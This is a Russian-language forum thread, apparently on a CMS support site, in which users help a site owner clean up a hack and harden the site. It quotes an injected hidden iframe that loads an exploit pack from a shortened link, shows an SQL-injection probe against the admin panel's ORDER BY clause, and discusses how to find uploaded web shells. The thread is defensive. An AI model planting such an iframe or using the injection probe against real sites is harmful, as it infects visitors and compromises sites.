The matrix

region33.name/version_log.txt
Будешь долго иметь такие проблемы, если не обновишься.

Проблема в том, что посетители с твоего сайта посредством связки эксплойтов загруженных через iframe получают инсталл.
говно iframe плохо спрятан т.е поставлен не в сам шаблон а в какой-то из скриптов и не скрывается от поисковиков.
Твоя задача: осуществить поиск по скриптам сайта (find в помощь) и отыскать строку <*iframe src="http://snipurl.com/245mvrr" width=0 height=0 frameborder=0></iframe> (без звездочки в начале). Оно выводится через echo/print/etc. и удалить найденное. В зависимости от изощренности взломщика ифрейм может быть закодирован поэтому в поиск также нужно включить функции несущие потенциально этот ифрейм (base64_decode к примеру). В идеале это должно выглядеть, как привидение всех скриптов сайта к первоначальному виду методом сравнения.
Далее поискать в логах место, где взломщик осуществил проникновение и закрыть уязвимость.
Сделать строже парольную политику.
Все это сделать сможешь и сам. В принципе это не сложно.

Теоретически спам может нанести вред сайту. Зависит от типа спама.
Обороты набирает поисковой спам, и если спамерские проекты будут прогоняться ссылками из профилей/блогов/etc, которые зарегистрированы на вашем сайте, то в некоторых случаях поисковые системы могут испортить отношения с вашим сайтом и применить санкции(пример продвижение злоумышленником вредоносного сайта/довея, который заражает вирусами пользователей. Продвижение за счет ссылочной силы полученной из профилей зареганых на ващих сайтах). Кроме того неразумно отдавать просто так эту ссылочную силу со своего сайта спамеру.
Так то да, спамерские профиля могут ниче вообще не делать, воткнуть ссылку и забыть о сайте, но присутствие их нежалательно и бороться с ними надо не удалением(все равно новые появятся). Надо сделать неинтересным ваш сайт для спамера. Этого можно достичь несколькими способами.
1) Помещать пользовательские ссылки в noindex/nofollow
2) Рега по инвайтам.

1. Для php не была настроена дериктива open_basedir;
2. Префикс БД не был изменён;

1. Один open_basedir ну никак не помешает взломам.
2. вообще никак не поможет.
поможет правильное разграничение прав доступа
поможет Basic authentication
поможет своевременное обновление cms
поможет воздержание от установки кривых компонентов, модулей от Васи Пупкина, заброшенных/сомнительных cms, форумов
много чего может помочь, все во многом зависит от конкретной ситуации

Смысл темы совершенно непонятен.
поехали по порядку
1.

SELECT * FROM cms_components WHERE id>0 ORDER BY 0a

далее

вобще данные ни как не проверяются, можешь например делать запрос so="union select..."

ну ну конечно, sql инъект после order by ну никак не крутится через union select.
Вообще в админке много уязвимостей типа sql injection, но в них смысла нет так как, если злоумышленник получил права админа он без труда завладеет бд без левых уязвимостей. Админка конечно есть будет потенциально опасным местом и там есть еще над чем поработать😉Fuze обо всем этом уведомлен и думаю без внимания он это не оставит, не смотря на то, что проблема не слишком уж страшная). В любых случаях говоря об уязвимостях или как там они типерь называются? "Фичи"? следует предоставлять PoC (пример), говорить можно обо всем, фантазировать можно обо всем и с энтузиазмом, а показывать ситуацию такой какая она есть можно вообще как угодно, лишь бы правдиво и обоснованно.
2.

Neo ( 17:38:02 )торетически если это знать и найти xss на сайте, можно те подсунуть че угодно

Если найти XSS на сайте то и без всяких админок можно чего угодно и куда угодно насувать. Но надо сначала найти ;)
3.

Проблема решилась созданием колонки 0a

Для не продвинутых, как этот баг мог нам испортить настроение?:)

я думаю твое настроение испортится, если вдруг твой сайт поломают и устроят из него рассадник спам линков или еще какую-нить некрасивую хрень. Так что лучше попатчись ;)
А вообще написано же, что патч безопасности

]

Предлагаю посадить

поддерживаю предыдущего оратора. нах их всех посажать шутников!
пиши заявление и вся любовь.

Если это он, на ссылке выше. Скорее всего ничего не выйдет смотри на дату рождения, мерзких школоло не сажают)

По теме, я бы взглянул, но сайт мягко говоря не влучшем состоянии.
Владельцу рекомендую курить логи. Смотреть, если новая уязвимость, то чую небольшой шухерок. Но подозреваю всему вина не установленные обновления на последнюю уязвимость в апллоадере=(

Радует не наплевательское отношение админа к безопасности.
Программы для поиска левых файлов в аплоадах-это хорошо, но шелл можно легко перезалить в другое место.
Как правило сайт в зоне ру представляет ценность только школоте, побаловаться. Они не знакомы с граммотной заливкой шелла. И их шеллы запросто отслеживаются по дате создания/модификации, они ее не меняют. Искать можно либо вручную либо команда find. Если на сервере граммотно установлены права, то шелл легко отследить по его владельцу.
Так же рекомендую поставить программу отслеживающую целостность файлов на сервере.